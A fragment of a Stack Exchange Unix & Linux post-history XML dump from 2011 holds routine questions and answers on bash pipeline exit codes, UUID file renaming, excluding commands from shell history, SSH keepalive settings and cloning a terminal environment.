leaving the group.&#xD;&#xA;&#xD;&#xA;(Note that by setting GROUPSTATUS to anything other than the pipe's status, eg. a literal of some sort, it can be verified that the variable does in fact escape the command grouping scope under normal circumstances.)&#xD;&#xA;&#xD;&#xA;I've also tried if `return` from within the group can deliver the first pipe component's exit code to the outside, but return inside a command group just yields an error message from bash.&#xD;&#xA;" />
  <row Id="13805" PostHistoryTypeId="2" PostId="6090" RevisionGUID="9e8f83c0-c6d0-422d-8a50-d0b941dd528c" CreationDate="2011-01-19T00:14:54.533" UserId="885" Text="It's common to hard-code such references at compile time, and perhaps provide a command line option or environment variable to override the compile-time default. Often the program just remembers the location of one configuration file (typically under `/etc`) where any compile-time defaults can be overridden. This approach makes most sense for open source software that is compiled by the same people that make the operating system, as part of a Linux distribution or BSD ports.&#xD;&#xA;&#xD;&#xA;For applications distributed in a binary form, the usual approach is to locate the application binary from its zeroth argument. By convention, the zeroth argument to [`execve`](http://pubs.opengroup.org/onlinepubs/009695399/functions/exec.html) (i.e. `argv[0]`) is the path to the binary (it's up to the caller, often a shell, to respect the convention). If `argv[0]` doesn't contain any `/`, the application should perform `$PATH` lookup on it.&#xD;&#xA;" />
  <row Id="13806" PostHistoryTypeId="6" PostId="6081" RevisionGUID="137986dc-6f04-4901-ada4-4b56e5689451" CreationDate="2011-01-19T00:16:42.830" UserId="885" Comment="edited tags" Text="éosxàéx11àéxtermàécopyöpasteà" />
  <row Id="13807" PostHistoryTypeId="2" PostId="6091" RevisionGUID="73ab4caa-6c62-4c9e-b6f7-6b093eaf1aa8" CreationDate="2011-01-19T00:24:20.550" UserId="1627" Text="Similar to bahamat answer, but generates actual UUIDs. Also, it doesn't cause damage in case the UUID generation fails.&#xD;&#xA;&#xD;&#xA;    for i in *; do uuid=$(uuidgen -r) &amp;&amp; mv -- &quot;$i&quot; &quot;$uuid.${i##*.}&quot; done&#xD;&#xA;&#xD;&#xA;Using */proc/sys/kernel/random/uuid*:&#xD;&#xA;&#xD;&#xA;    for i in *; do uuid=$(cat /proc/sys/kernel/random/uuid) &amp;&amp; mv -- &quot;$i&quot; &quot;$uuid.${i##*.}&quot; done" />
  <row Id="13808" PostHistoryTypeId="5" PostId="6091" RevisionGUID="3a644166-c920-4363-bd3d-df7ea25c0127" CreationDate="2011-01-19T00:34:03.873" UserId="1627" Comment="added 465 characters in body; deleted 4 characters in body" Text="Similar to bahamat answer, but generates actual [UUIDs][1]. UUIDs have some reserved bits that are used to determine the version and variant used. There are currently 5 types of UUIDs defined, random UUIDs, as you asked, are version 4. You will note that version 4 UUIDs have this format:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;442b7f35-f33f-&lt;b&gt;4&lt;/b&gt;b8d-&lt;b&gt;9&lt;/b&gt;a07-db8ec207129e&#xD;&#xA;              |    '-- variant (bits 10__ -&gt; [89AB])&#xD;&#xA;              '------- version (bits 0100 -&gt; 4)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Also, this version doesn't cause damage in case the UUID generation fails.&#xD;&#xA;&#xD;&#xA;    for i in *; do uuid=$(uuidgen -r) &amp;&amp; mv -- &quot;$i&quot; &quot;$uuid.${i##*.}&quot; done&#xD;&#xA;&#xD;&#xA;Using */proc/sys/kernel/random/uuid*:&#xD;&#xA;&#xD;&#xA;    for i in *; do uuid=$(cat /proc/sys/kernel/random/uuid) &amp;&amp; mv -- &quot;$i&quot; &quot;$uuid.${i##*.}&quot; done&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/UUID" />
  <row Id="13809" PostHistoryTypeId="2" PostId="6092" RevisionGUID="0a9165b4-f126-4e78-bfb8-3d80a344745f" CreationDate="2011-01-19T00:35:26.757" UserId="3806" Text="A simple way is to bypass the problem, is to put my_folder in a shell variable and remove the leading slash from it: &#xD;&#xA;&#xD;&#xA;    tar -cf - ${my_folder##/} | gzip --rsyncable &gt; my_file.tar.gz&#xD;&#xA;&#xD;&#xA;Otherwise, you can check ${PIPESTATUS[0]} inside the block and use false if it is not zero to signal the error to the outer process:&#xD;&#xA;&#xD;&#xA;    { tar -cf - my_folder 2&gt;&amp;1 1&gt;&amp;3 | &#xD;&#xA;        grep -v &quot;Removing leading&quot; 1&gt;&amp;2; &#xD;&#xA;        [ ${PIPESTATUS[0]} -eq 0 ] &amp;&amp; true || false; } 3&gt;&amp;1 | &#xD;&#xA;        gzip --rsyncable &gt; my_file.tar.gz" />
  <row Id="13810" PostHistoryTypeId="2" PostId="6093" RevisionGUID="90a84999-64ad-47cd-9cca-59dbec5a15ae" CreationDate="2011-01-19T00:38:27.313" UserId="885" Text="When you execute a pipeline, each pipe-separated element is executed in its own process. Variable assignments only take effect in their own process. Under ksh and zsh, the last element of the pipeline is executed in the original shell; under other shells such as bash, each pipeline element is executed in its own subshell and the original shell just waits for them all to end.&#xD;&#xA;&#xD;&#xA;    $ bash -c 'GROUPSTATUS=foo; echo GROUPSTATUS is $GROUPSTATUS'&#xD;&#xA;    GROUPSTATUS is foo&#xD;&#xA;    $ bash -c 'GROUPSTATUS=foo | :; echo GROUPSTATUS is $GROUPSTATUS'&#xD;&#xA;    GROUPSTATUS is &#xD;&#xA;&#xD;&#xA;In your case, since you only care about all the commands succeeding, you can make the status code flow up.&#xD;&#xA;&#xD;&#xA;    { tar -cf - my_folder 2&gt;&amp;1 1&gt;&amp;3 | grep -v &quot;Removing leading&quot; 1&gt;&amp;2;&#xD;&#xA;      ! ((PIPESTATUS[0])); } 3&gt;&amp;1 |&#xD;&#xA;    gzip --rsyncable &gt; my_file.tar.gz;&#xD;&#xA;    if ((PIPESTATUS[0] || PIPESTATUS[1])); then rm my_file.tar.gz; fi&#xD;&#xA;&#xD;&#xA;If you want to get more than 8 bits of information out of the left side of a pipe, you can write to yet another file descriptor.&#xD;&#xA;&#xD;&#xA;    { { tar …; echo $? &gt;&amp;4; } | …; } | { gzip …; echo gzip &gt;&amp;4; } \&#xD;&#xA;      4&gt;&amp;1 | ! grep -vxc '0'&#xD;&#xA;" />
  <row Id="13811" PostHistoryTypeId="5" PostId="6023" RevisionGUID="d184a224-8d0a-4b21-9fe7-75f59b98bdaf" CreationDate="2011-01-19T00:45:39.143" UserId="885" Comment="avoid the use of ls" Text="Short Perl script below - the use of *cat* to get the uuid isn't the cleanest/fastest way to code it, but it keeps the command short: &#xD;&#xA;&#xD;&#xA;    perl -e '&#xD;&#xA;      foreach (@ARGV) {&#xD;&#xA;        my $uid=qx|cat /proc/sys/kernel/random/uuid|;&#xD;&#xA;        chomp $uid;&#xD;&#xA;        (my $new=$_)=~s#(.*)\.#$uid.#;&#xD;&#xA;        rename($_, $new)&#xD;&#xA;      }&#xD;&#xA;    ' *.file_ext&#xD;&#xA;&#xD;&#xA;The above uses a file in /proc on linux as a source of uuids:&#xD;&#xA;&#xD;&#xA;    [bash#] cat /proc/sys/kernel/random/uuid&#xD;&#xA;    d474706f-b18c-4e4b-8762-5ed577c74ac3&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13812" PostHistoryTypeId="6" PostId="6011" RevisionGUID="f30025e5-b1db-4012-8cfe-ce3009bb9943" CreationDate="2011-01-19T00:45:57.757" UserId="885" Comment="edited tags" Text="éshellàéguidàérenameà" />
  <row Id="13814" PostHistoryTypeId="5" PostId="4599" RevisionGUID="158e2718-36a4-4f6a-b742-806d7293cffd" CreationDate="2011-01-19T00:51:54.077" UserId="73" Comment="deleted 17 characters in body" Text="I got the following errors after new kernel compilation (linux-2.6.25.tar.bz2)&#xD;&#xA;&#xD;&#xA;&gt; mount: could not find filesystem '/dev/root'  &#xD;&#xA;setuproot: moving /dev failed: no such file or directory  &#xD;&#xA;setuproot: error mounting /proc: No such file or directory  &#xD;&#xA;setuproot: error mounting /sys: No such file or directory  &#xD;&#xA;switchroot: mount failed: No such file or directory  &#xD;&#xA;kernel panic - not syncing: Attempted to kill init!&#xD;&#xA;&#xD;&#xA;How to troubleshoot?&#xD;&#xA;" />
  <row Id="13815" PostHistoryTypeId="25" PostId="6085" RevisionGUID="1b2a41fe-ef66-43f4-83fe-981dd3d6b1cc" CreationDate="2011-01-19T01:55:41.867" Comment="http://twitter.com/#!/StackUnix/status/27544695265566720" />
  <row Id="13816" PostHistoryTypeId="2" PostId="6094" RevisionGUID="4fab4279-29a2-4147-996f-67930354492a" CreationDate="2011-01-19T03:06:59.463" UserId="29" Text="is there any way to keep a command from being added to your history? I have a command that I want to keep out of my history file, and I really don't care to have it there when I search the history stored in memory, though that's less of a concern. Is there any way to prevent this? or do I just have to go back and edit my history file. " />
  <row Id="13817" PostHistoryTypeId="1" PostId="6094" RevisionGUID="4fab4279-29a2-4147-996f-67930354492a" CreationDate="2011-01-19T03:06:59.463" UserId="29" Text="is there any way to keep a command from being added to your history?" />
  <row Id="13818" PostHistoryTypeId="3" PostId="6094" RevisionGUID="4fab4279-29a2-4147-996f-67930354492a" CreationDate="2011-01-19T03:06:59.463" UserId="29" Text="écommandölineàésecurityàéhistoryà" />
  <row Id="13819" PostHistoryTypeId="2" PostId="6095" RevisionGUID="bf3d5dea-d7dc-42f2-a6ac-2dea72059211" CreationDate="2011-01-19T03:42:58.793" UserId="29" Text="on one of the boxes I don't control at work I use `ssh` keys to log in. Our passwords are set to expire after a few months. What happens if I don't reset my password and it expires? will I still be able to login? Does what happens depend on some `sshd` setting? or some pam setting?" />
  <row Id="13820" PostHistoryTypeId="1" PostId="6095" RevisionGUID="bf3d5dea-d7dc-42f2-a6ac-2dea72059211" CreationDate="2011-01-19T03:42:58.793" UserId="29" Text="What happens when your password expires and you're using key authentication?" />
  <row Id="13821" PostHistoryTypeId="3" PostId="6095" RevisionGUID="bf3d5dea-d7dc-42f2-a6ac-2dea72059211" CreationDate="2011-01-19T03:42:58.793" UserId="29" Text="élinuxàésshàésecurityàépamà" />
  <row Id="13822" PostHistoryTypeId="2" PostId="6096" RevisionGUID="cb3ace68-a7a2-43b8-a46b-4921290a5676" CreationDate="2011-01-19T04:08:09.743" UserId="3852" Text="&#xD;&#xA;If you're running the command over and over and your shell is bash, the HISTIGNORE variable will do this. Lets say you have secret.server.com that you ssh to, FTP files to, etc. that you don't want any line that mentions secret.server.com saved:&#xD;&#xA;&#xD;&#xA;    HISTIGNORE=&quot;*secret.server.com*&quot;&#xD;&#xA;&#xD;&#xA;You can list multiple patterns with a colon separating them. Make sure sure you include a * if needed since in the below example, 'fortune' would be excluded, but 'fortune -l' would included':&#xD;&#xA;&#xD;&#xA;    HISTIGNORE=&quot;*secret.server.com*:ytalk*:fortune&quot;&#xD;&#xA;&#xD;&#xA;With HISTIGNORE set, nothing matching the patterns you list will be saved to .bash_history and even the up arrow key, which normally recalls your previous command, won't work if it matches your pattern.&#xD;&#xA;" />
  <row Id="13823" PostHistoryTypeId="25" PostId="6094" RevisionGUID="739593fa-6ed8-4168-a704-788008e989b9" CreationDate="2011-01-19T04:55:42.070" Comment="http://twitter.com/#!/StackUnix/status/27589993685843968" />
  <row Id="13824" PostHistoryTypeId="2" PostId="6097" RevisionGUID="9012e866-d261-40b9-99fa-e8e6ab0ad75a" CreationDate="2011-01-19T05:09:52.463" UserId="1070" Text="So let's say I'm developing code in directory /asdf/qwer/dfgh/wert/asdf/qwer and I've added about three more directories like that to my path and I have a bunch of arcane environment variables set.  Then I realize that I really need another terminal open and set up in just this same way (although this need is not reoccurring so that I would just alter my .bashrc).  Is there any command to open a new terminal window that is an exact clone of this one?" />
  <row Id="13825" PostHistoryTypeId="1" PostId="6097" RevisionGUID="9012e866-d261-40b9-99fa-e8e6ab0ad75a" CreationDate="2011-01-19T05:09:52.463" UserId="1070" Text="Can I spawn a new terminal that is a clone of the current terminal?" />
  <row Id="13826" PostHistoryTypeId="3" PostId="6097" RevisionGUID="9012e866-d261-40b9-99fa-e8e6ab0ad75a" CreationDate="2011-01-19T05:09:52.463" UserId="1070" Text="éterminalà" />
  <row Id="13827" PostHistoryTypeId="2" PostId="6098" RevisionGUID="0f106295-5878-4480-89bb-bd88e8751c40" CreationDate="2011-01-19T05:27:23.107" UserId="2780" Text="In bash, use the `HISTCONTROL` variable.&#xD;&#xA;&#xD;&#xA;Set it to `HISTCONTROL=ignorespace` (or `HISTCONTROL=ignoreboth`). From now, when you **begin a line with a space** and it will *not* be saved in the history. This avoids to include the not-to-be-disclosed-command in some configuration file.&#xD;&#xA;&#xD;&#xA;Even like that it happens to forget to add the space and then want to go back. To delete one entry in the history, use `history -d &lt;index&gt;`, with `index` the number found with the `history` command (first column)." />
  <row Id="13828" PostHistoryTypeId="5" PostId="6033" RevisionGUID="71c27a82-f8f2-4dbe-9115-f1ca4c7bb85d" CreationDate="2011-01-19T05:39:27.493" UserId="73" Comment="deleted 20 characters in body" Text="What are some user space examples of using `inb`, `inl`, and `inw` to access kernel space in Linux?&#xD;&#xA;" />
  <row Id="13829" PostHistoryTypeId="2" PostId="6099" RevisionGUID="c0c17a71-b478-4cce-82b9-30f5841f3cee" CreationDate="2011-01-19T05:41:07.890" UserId="2780" Text="If you start a `screen` (GNU Screen) in your defined environment, that environment will be used by the sub-process (i.e. `screen`) and you can use it to spawn new terminals. **But** if you want to fork it another time (a `screen` in a `screen`) it begins to be tricky." />
  <row Id="13830" PostHistoryTypeId="2" PostId="6100" RevisionGUID="29b4dc1b-6de8-47b9-81d3-a51006f757f7" CreationDate="2011-01-19T05:41:44.720" UserId="3629" Text="Cloning the path is easy if you can run your terminal program from the command line.  Assuming you're using `xterm`, just run `xterm &amp;` from the prompt of the terminal you want to clone.  The new xterm will start in the same directory, unless you have it configured to start as a login shell.  Any exported environment variables will also carry over, but un-exported variables will not.&#xD;&#xA;&#xD;&#xA;A quick and dirty way to clone the whole environment (including un-exported variables) is as follows:&#xD;&#xA;&#xD;&#xA;    # from the old shell:&#xD;&#xA;    set &gt;~/environment.tmp&#xD;&#xA;&#xD;&#xA;    # from the new shell:&#xD;&#xA;    . ~/environment.tmp&#xD;&#xA;    rm ~/environment.tmp&#xD;&#xA;&#xD;&#xA;If you've set any custom shell options, you'll have to reapply those as well.&#xD;&#xA;&#xD;&#xA;You could wrap this whole process into an easily-runnable script.  Have the script save the environment to a known file, then run `xterm`.  Have your .bashrc check for that file, and source it and delete it if found." />
  <row Id="13831" PostHistoryTypeId="5" PostId="6100" RevisionGUID="b0da9a04-64a7-4a78-a163-8616c9beeec3" CreationDate="2011-01-19T05:51:06.140" UserId="3629" Comment="Added alternate method" Text="Cloning the path is easy if you can run your terminal program from the command line.  Assuming you're using `xterm`, just run `xterm &amp;` from the prompt of the terminal you want to clone.  The new xterm will start in the same directory, unless you have it configured to start as a login shell.  Any exported environment variables will also carry over, but un-exported variables will not.&#xD;&#xA;&#xD;&#xA;A quick and dirty way to clone the whole environment (including un-exported variables) is as follows:&#xD;&#xA;&#xD;&#xA;    # from the old shell:&#xD;&#xA;    set &gt;~/environment.tmp&#xD;&#xA;&#xD;&#xA;    # from the new shell:&#xD;&#xA;    . ~/environment.tmp&#xD;&#xA;    rm ~/environment.tmp&#xD;&#xA;&#xD;&#xA;If you've set any custom shell options, you'll have to reapply those as well.&#xD;&#xA;&#xD;&#xA;You could wrap this whole process into an easily-runnable script.  Have the script save the environment to a known file, then run `xterm`.  Have your .bashrc check for that file, and source it and delete it if found.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Alternately, if you don't want to start one terminal from another, or just want more control, you could use a pair of functions that you define in .bashrc:&#xD;&#xA;&#xD;&#xA;    putstate () {&#xD;&#xA;        set &gt;~/environment.tmp&#xD;&#xA;        echo cd &quot;$PWD&quot; &gt;&gt;~/environment.tmp&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    getstate () {&#xD;&#xA;        . ~/environment.tmp&#xD;&#xA;    }" />
  <row Id="13832" PostHistoryTypeId="2" PostId="6101" RevisionGUID="9c7e9893-9314-4816-b9ba-40b13cc8ca85" CreationDate="2011-01-19T05:59:20.870" UserId="3629" Text="Under default behavior, you will still be able to log in using your ssh key, but the system administrator is free to change this behavior using `pam` or other methods.  OpenSSH doesn't care about the expiration date on your password if it's not using password authentication, but `pam` can be set up to check password expiration even after `sshd` has authenticated your key.  It could probably even be set up to force you to enter and change your expired password before handing you the shell prompt.  For the best answer, ask your sysadmin." />
  <row Id="13833" PostHistoryTypeId="2" PostId="6102" RevisionGUID="2210e312-2514-4a16-89b1-29031602f262" CreationDate="2011-01-19T06:39:32.490" UserId="1946" Text="Why not `tar` the files to be encrypted and then encrypt the tarball?" />
  <row Id="13834" PostHistoryTypeId="5" PostId="3850" RevisionGUID="1d3c68a9-c26d-431e-a2af-07e198ce4673" CreationDate="2011-01-19T06:46:47.153" UserId="688" Comment="added 64 characters in body" Text="After each login, there's certain commands that I run on specific tabs of gnome-terminal. This is a tedious process, so can this be done automatically?" />
  <row Id="13835" PostHistoryTypeId="25" PostId="6097" RevisionGUID="071940c8-cfcf-4a40-9f72-e1b96721e6e9" CreationDate="2011-01-19T07:55:41.573" Comment="http://twitter.com/#!/StackUnix/status/27635291221139456" />
  <row Id="13836" PostHistoryTypeId="5" PostId="6082" RevisionGUID="004351db-0762-40b4-b390-cd63b438b76e" CreationDate="2011-01-19T08:07:14.157" UserId="885" Comment="edited body; added 1 characters in body" Text="Make your shell change the window title every time it changes directory, or every time it displays a prompt.&#xD;&#xA;&#xD;&#xA;For your `~/.bashrc`:&#xD;&#xA;&#xD;&#xA;    if [ &quot;$TERM&quot; = &quot;screen&quot; ]; then&#xD;&#xA;      screen_set_window_title () {&#xD;&#xA;        local HPWD=&quot;$PWD&quot;&#xD;&#xA;        case $HPWD in&#xD;&#xA;          $HOME) HPWD=&quot;~&quot;;;&#xD;&#xA;          $HOME/*) HPWD=&quot;~${HPWD#$HOME}&quot;;;&#xD;&#xA;        esac&#xD;&#xA;        printf '\ek%s\e\\' &quot;$HPWD&quot;&#xD;&#xA;      }&#xD;&#xA;      PROMPT_COMMAND=&quot;screen_set_window_title; $PROMPT_COMMAND&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Or for your `~/.zshrc` (for zsh users):&#xD;&#xA;&#xD;&#xA;    precmd () {&#xD;&#xA;      local tmp='%~'&#xD;&#xA;      local HPWD=${(%)tmp}&#xD;&#xA;      if [[ $TERM = screen ]]; then&#xD;&#xA;        printf '\ek%s\e\\' $HPWD&#xD;&#xA;      fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;For more information, look up under [Dynamic titles](http://www.gnu.org/software/screen/manual/screen.html#Dynamic-Titles) in the Screen manual, or under “Titles (naming windows)” in the man page.&#xD;&#xA;" />
  <row Id="13837" PostHistoryTypeId="6" PostId="6097" RevisionGUID="a7916f98-ba18-4dba-a5a1-1732d6aaefce" CreationDate="2011-01-19T08:12:33.713" UserId="885" Comment="edited tags" Text="éshellàéterminalàéenvironmentövariablesà" />
  <row Id="13838" PostHistoryTypeId="2" PostId="6103" RevisionGUID="66390a0a-c82c-48d4-a627-0a77dc421822" CreationDate="2011-01-19T08:34:19.277" UserId="3769" Text="It's eays: don't saturate your upload, so limit your torrent client's upload limit to about 50% of your total upload bandwidth." />
  <row Id="13839" PostHistoryTypeId="5" PostId="6094" RevisionGUID="d1e4a842-d881-4562-97e9-60185966b636" CreationDate="2011-01-19T08:55:59.290" UserId="29" Comment="this is in zsh" Text="is there any way to keep a command from being added to your history? I have a command that I want to keep out of my history file, and I really don't care to have it there when I search the history stored in memory, though that's less of a concern. Is there any way to prevent this? or do I just have to go back and edit my history file.&#xD;&#xA;&#xD;&#xA;**update:** I didn't realize this might be shell specific. my shell is `zsh` how would I do it in `zsh`? (though you're welcome to answer for other shell's but `bash` answers won't help me)" />
  <row Id="13840" PostHistoryTypeId="6" PostId="6094" RevisionGUID="d1e4a842-d881-4562-97e9-60185966b636" CreationDate="2011-01-19T08:55:59.290" UserId="29" Comment="this is in zsh" Text="écommandölineàéshellàésecurityàézshàéhistoryà" />
  <row Id="13841" PostHistoryTypeId="2" PostId="6104" RevisionGUID="86b82259-5c55-42f4-a6b2-3b6727ea70ac" CreationDate="2011-01-19T09:08:12.560" UserId="872" Text="Use `HISTIGNORE` to ignore certain commands. In this example, I've ignored the commands `cat`, `passwd` and any command prefixed with a space.&#xD;&#xA;&#xD;&#xA;    export HISTIGNORE=&quot;cat:passwd: &quot;&#xD;&#xA;&#xD;&#xA;From the Bash man page:&#xD;&#xA;&#xD;&#xA;&gt;     HISTCONTROL&#xD;&#xA;&gt;       A colon-separated list of values controlling how commands are&#xD;&#xA;&gt;       saved on the history list.  If the list of values includes&#xD;&#xA;&gt;       ignorespace, lines which begin with a space character are not&#xD;&#xA;&gt;       saved in the history list.  A value of ignoredups causes lines&#xD;&#xA;&gt;       matching the previous history entry to not be saved.  A value of&#xD;&#xA;&gt;       ignoreboth is shorthand for ignorespace and ignoredups.  A value&#xD;&#xA;&gt;       of erasedups causes all previous lines matching the current line&#xD;&#xA;&gt;       to be removed from the history list before that line is saved.&#xD;&#xA;&gt;       Any value not in the above list is ignored.  If HISTCONTROL is&#xD;&#xA;&gt;       unset, or does not include a valid value, all lines read by the&#xD;&#xA;&gt;       shell parser are saved on the history list, subject to the value&#xD;&#xA;&gt;       of HISTIGNORE.  The second and subsequent lines of a multi- line&#xD;&#xA;&gt;       compound command are not tested, and are added to the history&#xD;&#xA;&gt;       regardless of the value of HISTCONTROL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To disable history for your session you can issue:&#xD;&#xA;&#xD;&#xA;    export HISTSIZE=0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can also unset the `HISTFILE` variable.&#xD;&#xA;&#xD;&#xA;&gt;     HISTFILE&#xD;&#xA;&gt;       The name of the file in which command history is saved (see HIS-&#xD;&#xA;&gt;       TORY below).  The default value is ~/.bash_history.   If  unset,&#xD;&#xA;&gt;       the  command  history  is  not  saved  when an interactive shell&#xD;&#xA;&gt;       exits." />
  <row Id="13842" PostHistoryTypeId="5" PostId="6104" RevisionGUID="4db93c98-227a-4d6a-b7c5-5e73bdf97334" CreationDate="2011-01-19T09:25:18.630" UserId="872" Comment="deleted 1155 characters in body" Text="**In ZSH**:&#xD;&#xA;&#xD;&#xA;First set `HIST_IGNORE_SPACE` in your profile and then prefix the commands you don't want stored with a `space`.&#xD;&#xA;&#xD;&#xA;From the man page, the following 3 options can be used to say that certain lines shouldn't go into the history at all&#xD;&#xA;&#xD;&#xA; - **HIST_IGNORE_SPACE** don't store commands prefixed with a space&#xD;&#xA; - **HIST_NO_STORE** don't store *history* (*fc -l*) command&lt;br/&gt;&#xD;&#xA; - **HIST_NO_FUNCTIONS** don't store function definitions&lt;br/&gt;" />
  <row Id="13843" PostHistoryTypeId="2" PostId="6105" RevisionGUID="c5c3798f-f7b7-4ebe-8076-135c4a2a6f60" CreationDate="2011-01-19T09:26:23.537" UserId="3947" Text="Hi what exactly caused ssh interruption, when you idle for a while, it disconnects. &#xD;&#xA;&#xD;&#xA;Anyway to always to keep it alive (without autossh or reconnect?)" />
  <row Id="13844" PostHistoryTypeId="1" PostId="6105" RevisionGUID="c5c3798f-f7b7-4ebe-8076-135c4a2a6f60" CreationDate="2011-01-19T09:26:23.537" UserId="3947" Text="ssh interruption. " />
  <row Id="13845" PostHistoryTypeId="3" PostId="6105" RevisionGUID="c5c3798f-f7b7-4ebe-8076-135c4a2a6f60" CreationDate="2011-01-19T09:26:23.537" UserId="3947" Text="ésshàéputtyà" />
  <row Id="13846" PostHistoryTypeId="2" PostId="6106" RevisionGUID="22ccd264-74ed-42a6-9c18-dc91f2799df7" CreationDate="2011-01-19T09:41:59.523" UserId="872" Text="Here are a few things you can try:&#xD;&#xA;&#xD;&#xA;1) It's most likely the shell which is timing out. Disable the timeout by unsetting `TMOUT` in your profile. `TMOUT` is the number of seconds that bash waits for input before terminating. Echo `$TMOUT` to see if it is set. Add the following to your profile:&#xD;&#xA;&#xD;&#xA;    unset TMOUT&#xD;&#xA;&#xD;&#xA;2) Configure PuTTY to send keepalive packets by going into:&#xD;&#xA;&#xD;&#xA;    Settings &gt; Connection &gt; Seconds between keepalives = 60&#xD;&#xA;&#xD;&#xA;3) Tweak your `sshd_config` (normally found in `/etc/ssh`) and add:&#xD;&#xA;&#xD;&#xA;    TCPKeepAlive yes&#xD;&#xA;    ClientAliveInterval 60&#xD;&#xA;&#xD;&#xA;Save the file and restart `sshd`.&#xD;&#xA;" />
  <row Id="13847" PostHistoryTypeId="2" PostId="6107" RevisionGUID="f4ae1dba-edc2-4e13-9a24-bfb44212aa9f" CreationDate="2011-01-19T09:52:26.707" UserId="3069" Text="This is most likely a firewall which cuts your idle connection after a while.&#xD;&#xA;&#xD;&#xA;You can configure the `openssh` server or client to send a KeepAlive after a while.&#xD;&#xA;&#xD;&#xA;Send a KeepAlive every 5 minutes to the server:&#xD;&#xA;&#xD;&#xA;    ssh user@server -o ServerAliveInterval=300&#xD;&#xA;&#xD;&#xA;If you have control over the `openssh-server`, you can also send KeepAlives to the client after a defined interval. Add the following to `/etc/ssh/sshd_config`:&#xD;&#xA;&#xD;&#xA;    ClientAliveInterval 300&#xD;&#xA;    TCPKeepAlive yes&#xD;&#xA;&#xD;&#xA;`TCPKeepAlive` should be `yes` by default.&#xD;&#xA;&#xD;&#xA;Restart the `openssh-server` after the modification:&#xD;&#xA;&#xD;&#xA;    /etc/init.d/ssh restart" />
  <row Id="13848" PostHistoryTypeId="2" PostId="6108" RevisionGUID="4396bd23-bdac-4a1f-941e-74a4c96e1d2c" CreationDate="2011-01-19T09:57:45.977" UserId="3948" Text="I'm trying to use the debian unstable/sid repositories for google apps (deb http://dl.google.com/linux/deb/ unstable non-free main), but I get errors:&#xD;&#xA;&#xD;&#xA;&gt;Err &quot;http://dl.google.com&quot; unstable/non-free i386 Packages  &#xD;&#xA;  404  Not Found [IP: 209.85.146.93 80]  &#xD;&#xA;Err &quot;http://dl.google.com&quot; unstable/main i386 Packages  &#xD;&#xA;  404  Not Found [IP: 209.85.146.93 80]  &#xD;&#xA;W: Failed to fetch &quot;http://dl.google.com/linux/deb/dists/unstable/non-free binary-i386/Packages.gz  404  Not Found [IP: 209.85.146.93 80]  &#xD;&#xA;W: Failed to fetch &quot;http://dl.google.com/linux/deb/dists/unstable/main/binary-i386/Packages.gz  404  Not Found [IP: 209.85.146.93 80]  &#xD;&#xA;&#xD;&#xA;I get the same errors for deb &quot;http://dl.google.com/linux/deb/ sid non-free main&quot;.&#xD;&#xA;&#xD;&#xA;I can't browse the repository at &quot;http://dl.google.com&quot;, I just get a 404.  &#xD;&#xA;&#xD;&#xA;Is it ok to use the stable repository instead even though I'm using debian unstable?" />
  <row Id="13849" PostHistoryTypeId="1" PostId="6108" RevisionGUID="4396bd23-bdac-4a1f-941e-74a4c96e1d2c" CreationDate="2011-01-19T09:57:45.977" UserId="3948" Text="I can't use or find the google debian unstable/sid repository." />
  <row Id="13850" PostHistoryTypeId="3" PostId="6108" RevisionGUID="4396bd23-bdac-4a1f-941e-74a4c96e1d2c" CreationDate="2011-01-19T09:57:45.977" UserId="3948" Text="édebianàéaptà" />
  <row Id="13851" PostHistoryTypeId="5" PostId="6105" RevisionGUID="3ee4d559-8d28-4f9b-a375-be5050a1e3e5" CreationDate="2011-01-19T10:29:23.323" UserId="3069" Comment="added 20 characters in body; edited title" Text="Hi,  &#xD;&#xA;What exactly causes a ssh connection to interrupt? When you idle for a while, it disconnects. &#xD;&#xA;&#xD;&#xA;How do I keep the connection alive (without `autossh` or reconnect)?" />
  <row Id="13852" PostHistoryTypeId="4" PostId="6105" RevisionGUID="3ee4d559-8d28-4f9b-a375-be5050a1e3e5" CreationDate="2011-01-19T10:29:23.323" UserId="3069" Comment="added 20 characters in body; edited title" Text="What causes a ssh interruption?" />
  <row Id="13853" PostHistoryTypeId="2" PostId="6109" RevisionGUID="7e391103-48ac-4b72-ad73-93a487a735ef" CreationDate="2011-01-19T10:55:31.547" UserId="3923" Text="Yes : stable here means &quot;the stable branch of Google's repo&quot; not &quot;packages for Debian Stable&quot;. " />
  <row Id="13854" PostHistoryTypeId="25" PostId="6105" RevisionGUID="e07bf9f1-0b34-45b0-9a4c-8c7179c69fa4" CreationDate="2011-01-19T10:55:42.343" Comment="http://twitter.com/#!/StackUnix/status/27680592766177280" />
  <row Id="13855" PostHistoryTypeId="5" PostId="6094" RevisionGUID="d3286ae4-9e91-4e14-98f2-ba2ef9edc606" CreationDate="2011-01-19T10:59:41.323" UserId="29" Comment="clarify what I mean by including other shell answers" Text="is there any way to keep a command from being added to your history? I have a command that I want to keep out of my history file, and I really don't care to have it there when I search the history stored in memory, though that's less of a concern. Is there any way to prevent this? or do I just have to go back and edit my history file.&#xD;&#xA;&#xD;&#xA;**update:** I didn't realize this might be shell specific. my shell is `zsh` how would I do it in `zsh`? (though you're welcome to answer for other shell's, including `bash`, so people know how to do this in their shell, but those answers won't help me specifically)" />
